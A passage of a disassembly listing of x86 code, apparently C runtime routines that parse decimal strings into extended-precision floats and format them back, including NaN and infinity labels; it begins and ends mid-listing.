; RtlGetLastWin32Error mov dword_469498, eax loc_41E96E: ; CODE XREF: sub_41E84C+E0j ; sub_41E84C:loc_41E92Ej ... push 0 push [ebp+arg_0] push ebx call sub_41BB7F add esp, 0Ch mov eax, esi pop edi jmp short loc_41E98E ; --------------------------------------------------------------------------- loc_41E981: ; CODE XREF: sub_41E84C+1Aj ; sub_41E84C+36j mov dword_469494, 9 loc_41E98B: ; CODE XREF: sub_41E84C+4Ej ; sub_41E84C+63j or eax, 0FFFFFFFFh loc_41E98E: ; CODE XREF: sub_41E84C+133j pop esi pop ebx leave retn sub_41E84C endp ; =============== S U B R O U T I N E ======================================= sub_41E992 proc near ; CODE XREF: sub_41D9C5+2Bp ; sub_41D9C5+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41E9A8 cmp ecx, esi jnb short loc_41E9AB loc_41E9A8: ; CODE XREF: sub_41E992+10j push 1 pop eax loc_41E9AB: ; CODE XREF: sub_41E992+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41E992 endp ; =============== S U B R O U T I N E ======================================= sub_41E9B3 proc near ; CODE XREF: sub_41EA6C+40p ; sub_41EA6C+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41E9E5 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41E9E5 inc dword ptr [esi+8] loc_41E9E5: ; CODE XREF: sub_41E9B3+19j ; sub_41E9B3+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41E9FD inc dword ptr [esi+8] loc_41E9FD: ; CODE XREF: sub_41E9B3+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41E992 add esp, 0Ch pop edi pop esi retn sub_41E9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41EA11 proc near ; CODE XREF: sub_41EA6C+30p ; sub_41EA6C+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41EA11 endp ; =============== S U B R O U T I N E ======================================= sub_41EA3F proc near ; CODE XREF: sub_41F004+1C8p ; sub_41F4FC+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41EA3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6C proc near ; CODE XREF: sub_41EB33+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41EAE0 push edi mov [ebp+arg_8], eax loc_41EA93: ; CODE XREF: sub_41EA6C+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41EA11 push ebx call sub_41EA11 lea eax, [ebp+var_10] push eax push ebx call sub_41E9B3 push ebx call sub_41EA11 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41E9B3 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41EA93 xor edx, edx pop edi loc_41EAE0: ; CODE XREF: sub_41EA6C+21j ; sub_41EA6C+9Fj cmp [ebx+8], edx jnz short loc_41EB0D mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41EAE0 ; --------------------------------------------------------------------------- loc_41EB0D: ; CODE XREF: sub_41EA6C+77j mov esi, 8000h loc_41EB12: ; CODE XREF: sub_41EA6C+B9j test [ebx+8], esi jnz short loc_41EB27 push ebx call sub_41EA11 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41EB12 ; --------------------------------------------------------------------------- loc_41EB27: ; CODE XREF: sub_41EA6C+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41EA6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB33 proc near ; CODE XREF: sub_41DD0E+17p ; sub_41DD3B+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41EB6E: ; CODE XREF: sub_41EB33+52j mov cl, [edi] cmp cl, 20h jz short loc_41EB84 cmp cl, 9 jz short loc_41EB84 cmp cl, 0Ah jz short loc_41EB84 cmp cl, 0Dh jnz short loc_41EB87 loc_41EB84: ; CODE XREF: sub_41EB33+40j ; sub_41EB33+45j ... inc edi jmp short loc_41EB6E ; --------------------------------------------------------------------------- loc_41EB87: ; CODE XREF: sub_41EB33+4Fj push 4 pop esi loc_41EB8A: ; CODE XREF: sub_41EB33+AEj ; sub_41EB33+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41EE0D ; default ; jumptable 0041EB96 case 10 jmp off_41EFD4[eax*4] ; switch jump loc_41EB9D: ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 0 jl short loc_41EBAE cmp bl, 39h jg short loc_41EBAE loc_41EBA7: ; CODE XREF: sub_41EB33+C4j ; sub_41EB33+118j push 3 jmp loc_41EDCB ; --------------------------------------------------------------------------- loc_41EBAE: ; CODE XREF: sub_41EB33+6Dj ; sub_41EB33+72j cmp bl, byte_437F80 jnz short loc_41EBBD loc_41EBB6: ; CODE XREF: sub_41EB33+124j push 5 jmp loc_41EE03 ; --------------------------------------------------------------------------- loc_41EBBD: ; CODE XREF: sub_41EB33+81j movsx eax, bl sub eax, 2Bh jz short loc_41EBE3 dec eax dec eax jz short loc_41EBD7 sub eax, 3 jnz loc_41EEA6 jmp loc_41EC66 ; --------------------------------------------------------------------------- loc_41EBD7: ; CODE XREF: sub_41EB33+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41EB8A ; --------------------------------------------------------------------------- loc_41EBE3: ; CODE XREF: sub_41EB33+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41EB8A ; --------------------------------------------------------------------------- loc_41EBEC: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 1 mov [ebp+var_10], edx jl short loc_41EBF9 cmp bl, 39h jle short loc_41EBA7 loc_41EBF9: ; CODE XREF: sub_41EB33+BFj cmp bl, byte_437F80 jz loc_41ECC1 cmp bl, 2Bh jz short loc_41EC3B cmp bl, 2Dh jz short loc_41EC3B cmp bl, 30h jz short loc_41EC66 loc_41EC14: ; CODE XREF: sub_41EB33+207j cmp bl, 43h jle loc_41EEA6 cmp bl, 45h jle short loc_41EC34 cmp bl, 63h jle loc_41EEA6 cmp bl, 65h jg loc_41EEA6 loc_41EC34: ; CODE XREF: sub_41EB33+EDj push 6 jmp loc_41EE03 ; --------------------------------------------------------------------------- loc_41EC3B: ; CODE XREF: sub_41EB33+D5j ; sub_41EB33+DAj ... dec edi push 0Bh jmp loc_41EE03 ; --------------------------------------------------------------------------- loc_41EC43: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 2 jl short loc_41EC51 cmp bl, 39h jle loc_41EBA7 loc_41EC51: ; CODE XREF: sub_41EB33+113j cmp bl, byte_437F80 jz loc_41EBB6 cmp bl, 30h jnz loc_41EE1B loc_41EC66: ; CODE XREF: sub_41EB33+9Fj ; sub_41EB33+DFj mov eax, edx jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EC6D: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o mov [ebp+var_10], edx ; jumptable 0041EB96 case 3 loc_41EC70: ; CODE XREF: sub_41EB33+184j cmp dword_437F7C, edx jle short loc_41EC89 movzx eax, bl push esi push eax call sub_418556 pop ecx pop ecx push 1 pop edx jmp short loc_41EC97 ; --------------------------------------------------------------------------- loc_41EC89: ; CODE XREF: sub_41EB33+143j mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41EC97: ; CODE XREF: sub_41EB33+154j test eax, eax jz short loc_41ECB9 cmp [ebp+var_4], 19h jnb short loc_41ECB1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41ECB4 ; --------------------------------------------------------------------------- loc_41ECB1: ; CODE XREF: sub_41EB33+16Cj inc [ebp+var_8] loc_41ECB4: ; CODE XREF: sub_41EB33+17Cj mov bl, [edi] inc edi jmp short loc_41EC70 ; --------------------------------------------------------------------------- loc_41ECB9: ; CODE XREF: sub_41EB33+166j cmp bl, byte_437F80 jnz short loc_41ED28 loc_41ECC1: ; CODE XREF: sub_41EB33+CCj mov eax, esi jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41ECC8: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp [ebp+var_4], 0 ; jumptable 0041EB96 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41ECE1 loc_41ECD4: ; CODE XREF: sub_41EB33+1ACj cmp bl, 30h jnz short loc_41ECE1 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41ECD4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EB33+19Fj ; sub_41EB33+1A4j ... cmp dword_437F7C, edx jle short loc_41ECFA movzx eax, bl push esi push eax call sub_418556 pop ecx pop ecx push 1 pop edx jmp short loc_41ED08 ; --------------------------------------------------------------------------- loc_41ECFA: ; CODE XREF: sub_41EB33+1B4j mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41ED08: ; CODE XREF: sub_41EB33+1C5j test eax, eax jz short loc_41ED28 cmp [ebp+var_4], 19h jnb short loc_41ED23 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41ED23: ; CODE XREF: sub_41EB33+1DDj mov bl, [edi] inc edi jmp short loc_41ECE1 ; --------------------------------------------------------------------------- loc_41ED28: ; CODE XREF: sub_41EB33+18Cj ; sub_41EB33+1D7j cmp bl, 2Bh jz loc_41EC3B cmp bl, 2Dh jz loc_41EC3B jmp loc_41EC14 ; --------------------------------------------------------------------------- loc_41ED3F: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp dword_437F7C, edx ; jumptable 0041EB96 case 5 mov [ebp+var_24], edx jle short loc_41ED5B movzx eax, bl push esi push eax call sub_418556 pop ecx pop ecx push 1 pop edx jmp short loc_41ED69 ; --------------------------------------------------------------------------- loc_41ED5B: ; CODE XREF: sub_41EB33+215j mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41ED69: ; CODE XREF: sub_41EB33+226j test eax, eax jz loc_41EE1B mov eax, esi jmp short loc_41EDCC ; --------------------------------------------------------------------------- loc_41ED75: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o lea ecx, [edi-2] ; jumptable 0041EB96 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41ED85 cmp bl, 39h jle short loc_41EDC9 loc_41ED85: ; CODE XREF: sub_41EB33+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41EE01 dec eax dec eax jz short loc_41EDF5 sub eax, 3 jnz loc_41EEA9 loc_41ED9A: ; CODE XREF: sub_41EB33+2A4j push 8 jmp short loc_41EE03 ; --------------------------------------------------------------------------- loc_41ED9E: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o mov [ebp+var_20], edx ; jumptable 0041EB96 case 8 loc_41EDA1: ; CODE XREF: sub_41EB33+276j cmp bl, 30h jnz short loc_41EDAB mov bl, [edi] inc edi jmp short loc_41EDA1 ; --------------------------------------------------------------------------- loc_41EDAB: ; CODE XREF: sub_41EB33+271j cmp bl, 31h jl loc_41EEA6 cmp bl, 39h jg loc_41EEA6 jmp short loc_41EDC9 ; --------------------------------------------------------------------------- loc_41EDBF: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 7 jl short loc_41EDD2 cmp bl, 39h jg short loc_41EDD2 loc_41EDC9: ; CODE XREF: sub_41EB33+250j ; sub_41EB33+28Aj push 9 loc_41EDCB: ; CODE XREF: sub_41EB33+76j pop eax loc_41EDCC: ; CODE XREF: sub_41EB33+240j dec edi jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EDD2: ; CODE XREF: sub_41EB33+28Fj ; sub_41EB33+294j cmp bl, 30h jnz short loc_41EE1B jmp short loc_41ED9A ; --------------------------------------------------------------------------- loc_41EDD9: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp [ebp+arg_18], 0 ; jumptable 0041EB96 case 11 jz short loc_41EE09 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41EE01 dec eax dec eax jnz loc_41EEA9 loc_41EDF5: ; CODE XREF: sub_41EB33+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EE01: ; CODE XREF: sub_41EB33+258j ; sub_41EB33+2B8j push 7 loc_41EE03: ; CODE XREF: sub_41EB33+85j ; sub_41EB33+103j ... pop eax jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EE09: ; CODE XREF: sub_41EB33+2AAj push 0Ah dec edi pop eax loc_41EE0D: ; CODE XREF: sub_41EB33+5Dj ; sub_41EB33+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041EB96 case 10 jz loc_41EEAB jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EE1B: ; CODE XREF: sub_41EB33+12Dj ; sub_41EB33+238j ... mov edi, [ebp+arg_8] jmp loc_41EEAB ; --------------------------------------------------------------------------- loc_41EE23: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o mov [ebp+var_20], 1 ; jumptable 0041EB96 case 9 xor esi, esi loc_41EE2C: ; CODE XREF: sub_41EB33+339j cmp dword_437F7C, 1 jle short loc_41EE44 movzx eax, bl push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_41EE53 ; --------------------------------------------------------------------------- loc_41EE44: ; CODE XREF: sub_41EB33+300j mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41EE53: ; CODE XREF: sub_41EB33+30Fj test eax, eax jz short loc_41EE73 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41EE6E mov bl, [edi] inc edi jmp short loc_41EE2C ; --------------------------------------------------------------------------- loc_41EE6E: ; CODE XREF: sub_41EB33+334j mov esi, 1451h loc_41EE73: ; CODE XREF: sub_41EB33+322j mov [ebp+var_1C], esi loc_41EE76: ; CODE XREF: sub_41EB33+371j cmp dword_437F7C, 1 jle short loc_41EE8E movzx eax, bl push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_41EE9D ; --------------------------------------------------------------------------- loc_41EE8E: ; CODE XREF: sub_41EB33+34Aj mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41EE9D: ; CODE XREF: sub_41EB33+359j test eax, eax jz short loc_41EEA6 mov bl, [edi] inc edi jmp short loc_41EE76 ; --------------------------------------------------------------------------- loc_41EEA6: ; CODE XREF: sub_41EB33+99j ; sub_41EB33+E4j ... dec edi jmp short loc_41EEAB ; --------------------------------------------------------------------------- loc_41EEA9: ; CODE XREF: sub_41EB33+261j ; sub_41EB33+2BCj mov edi, ecx loc_41EEAB: ; CODE XREF: sub_41EB33+2DDj ; sub_41EB33+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41EF93 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41EED7 cmp [ebp+var_45], 5 jl short loc_41EECB inc [ebp+var_45] loc_41EECB: ; CODE XREF: sub_41EB33+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41EEDA ; --------------------------------------------------------------------------- loc_41EED7: ; CODE XREF: sub_41EB33+38Dj mov eax, [ebp+var_C] loc_41EEDA: ; CODE XREF: sub_41EB33+3A2j cmp [ebp+var_4], 0 jbe loc_41EF89 loc_41EEE4: ; CODE XREF: sub_41EB33+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41EEF2 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41EEE4 ; --------------------------------------------------------------------------- loc_41EEF2: ; CODE XREF: sub_41EB33+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41EA6C mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41EF11 neg eax loc_41EF11: ; CODE XREF: sub_41EB33+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41EF1C add eax, [ebp+arg_10] loc_41EF1C: ; CODE XREF: sub_41EB33+3E4j cmp [ebp+var_24], ecx jnz short loc_41EF24 sub eax, [ebp+arg_14] loc_41EF24: ; CODE XREF: sub_41EB33+3ECj cmp eax, 1450h jle short loc_41EF5B mov [ebp+var_2C], 1 loc_41EF32: ; CODE XREF: sub_41EB33+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41EF3E: ; CODE XREF: sub_41EB33+454j ; sub_41EB33+45Ej cmp [ebp+var_2C], 0 jz short loc_41EFA4 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41EFB9 ; --------------------------------------------------------------------------- loc_41EF5B: ; CODE XREF: sub_41EB33+3F6j cmp eax, 0FFFFEBB0h jge short loc_41EF6B mov [ebp+var_30], 1 jmp short loc_41EF32 ; --------------------------------------------------------------------------- loc_41EF6B: ; CODE XREF: sub_41EB33+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41F71C mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41EF3E ; --------------------------------------------------------------------------- loc_41EF89: ; CODE XREF: sub_41EB33+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41EF3E ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EB33+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41EFB9 ; --------------------------------------------------------------------------- loc_41EFA4: ; CODE XREF: sub_41EB33+40Fj cmp [ebp+var_30], 0 jz short loc_41EFB9 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41EFB9: ; CODE XREF: sub_41EB33+426j ; sub_41EB33+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41EB33 endp ; --------------------------------------------------------------------------- off_41EFD4 dd offset loc_41EB9D ; DATA XREF: sub_41EB33+63r dd offset loc_41EBEC ; jump table for switch statement dd offset loc_41EC43 dd offset loc_41EC6D dd offset loc_41ECC8 dd offset loc_41ED3F dd offset loc_41ED75 dd offset loc_41EDBF dd offset loc_41ED9E dd offset loc_41EE23 dd offset loc_41EE0D dd offset loc_41EDD9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F004 proc near ; CODE XREF: sub_41DDDF+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41F066 mov byte ptr [ebx+2], 2Dh jmp short loc_41F06A ; --------------------------------------------------------------------------- loc_41F066: ; CODE XREF: sub_41F004+5Aj mov byte ptr [ebx+2], 20h loc_41F06A: ; CODE XREF: sub_41F004+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41F090 test edi, edi jnz short loc_41F090 cmp [ebp+arg_0], edi jnz short loc_41F090 loc_41F07B: ; CODE XREF: sub_41F004+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41F28E ; --------------------------------------------------------------------------- loc_41F090: ; CODE XREF: sub_41F004+6Cj ; sub_41F004+70j ... cmp dx, si jnz short loc_41F10F mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41F0A9 cmp [ebp+arg_0], 0 jz short loc_41F0B8 loc_41F0A9: ; CODE XREF: sub_41F004+9Dj test edi, 40000000h jnz short loc_41F0B8 push offset a1Snan ; "1#SNAN" jmp short loc_41F0FE ; --------------------------------------------------------------------------- loc_41F0B8: ; CODE XREF: sub_41F004+A3j ; sub_41F004+ABj test cx, cx jz short loc_41F0D2 cmp edi, 0C0000000h jnz short loc_41F0D2 cmp [ebp+arg_0], 0 jnz short loc_41F0F9 push offset a1Ind ; "1#IND" jmp short loc_41F0E1 ; --------------------------------------------------------------------------- loc_41F0D2: ; CODE XREF: sub_41F004+B7j ; sub_41F004+BFj cmp edi, eax jnz short loc_41F0F9 cmp [ebp+arg_0], 0 jnz short loc_41F0F9 push offset a1Inf ; "1#INF" loc_41F0E1: ; CODE XREF: sub_41F004+CCj lea eax, [ebx+4] push eax call sub_415C00 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41F0F0: ; CODE XREF: sub_41F004+109j and [ebp+var_4], 0 jmp loc_41F267 ; --------------------------------------------------------------------------- loc_41F0F9: ; CODE XREF: sub_41F004+C5j ; sub_41F004+D0j ... push offset a1Qnan ; "1#QNAN" loc_41F0FE: ; CODE XREF: sub_41F004+B2j lea eax, [ebx+4] push eax call sub_415C00 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41F0F0 ; --------------------------------------------------------------------------- loc_41F10F: ; CODE XREF: sub_41F004+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41F71C add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41F170 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41F4FC pop ecx pop ecx loc_41F170: ; CODE XREF: sub_41F004+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41F18A mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41F18D jmp loc_41F07B ; --------------------------------------------------------------------------- loc_41F18A: ; CODE XREF: sub_41F004+173j mov edi, [ebp+arg_C] loc_41F18D: ; CODE XREF: sub_41F004+17Fj cmp edi, 15h jle short loc_41F195 push 15h pop edi loc_41F195: ; CODE XREF: sub_41F004+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41F1AB: ; CODE XREF: sub_41F004+1B4j lea eax, [ebp+var_10] push eax call sub_41EA11 dec [ebp+arg_14] pop ecx jnz short loc_41F1AB test esi, esi jge short loc_41F1D5 neg esi and esi, 0FFh jle short loc_41F1D5 loc_41F1C8: ; CODE XREF: sub_41F004+1CFj lea eax, [ebp+var_10] push eax call sub_41EA3F dec esi pop ecx jnz short loc_41F1C8 loc_41F1D5: ; CODE XREF: sub_41F004+1B8j ; sub_41F004+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41F232 mov [ebp+arg_C], ecx loc_41F1E5: ; CODE XREF: sub_41F004+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41EA11 lea eax, [ebp+var_10] push eax call sub_41EA11 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41E9B3 lea eax, [ebp+var_10] push eax call sub_41EA11 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41F1E5 mov eax, [ebp+arg_14] loc_41F232: ; CODE XREF: sub_41F004+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41F26F loc_41F23F: ; CODE XREF: sub_41F004+248j cmp eax, ecx jb short loc_41F252 cmp byte ptr [eax], 39h jnz short loc_41F24E mov byte ptr [eax], 30h dec eax jmp short loc_41F23F ; --------------------------------------------------------------------------- loc_41F24E: ; CODE XREF: sub_41F004+242j cmp eax, ecx jnb short loc_41F256 loc_41F252: ; CODE XREF: sub_41F004+23Dj inc eax inc word ptr [ebx] loc_41F256: ; CODE XREF: sub_41F004+24Cj inc byte ptr [eax] loc_41F258: ; CODE XREF: sub_41F004+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41F267: ; CODE XREF: sub_41F004+F0j mov eax, [ebp+var_4] loc_41F26A: ; CODE XREF: sub_41F004+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41F26F: ; CODE XREF: sub_41F004+239j ; sub_41F004+275j cmp eax, ecx jb short loc_41F27F cmp byte ptr [eax], 30h jnz short loc_41F27B dec eax jmp short loc_41F26F ; --------------------------------------------------------------------------- loc_41F27B: ; CODE XREF: sub_41F004+272j cmp eax, ecx jnb short loc_41F258 loc_41F27F: ; CODE XREF: sub_41F004+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41F28E: ; CODE XREF: 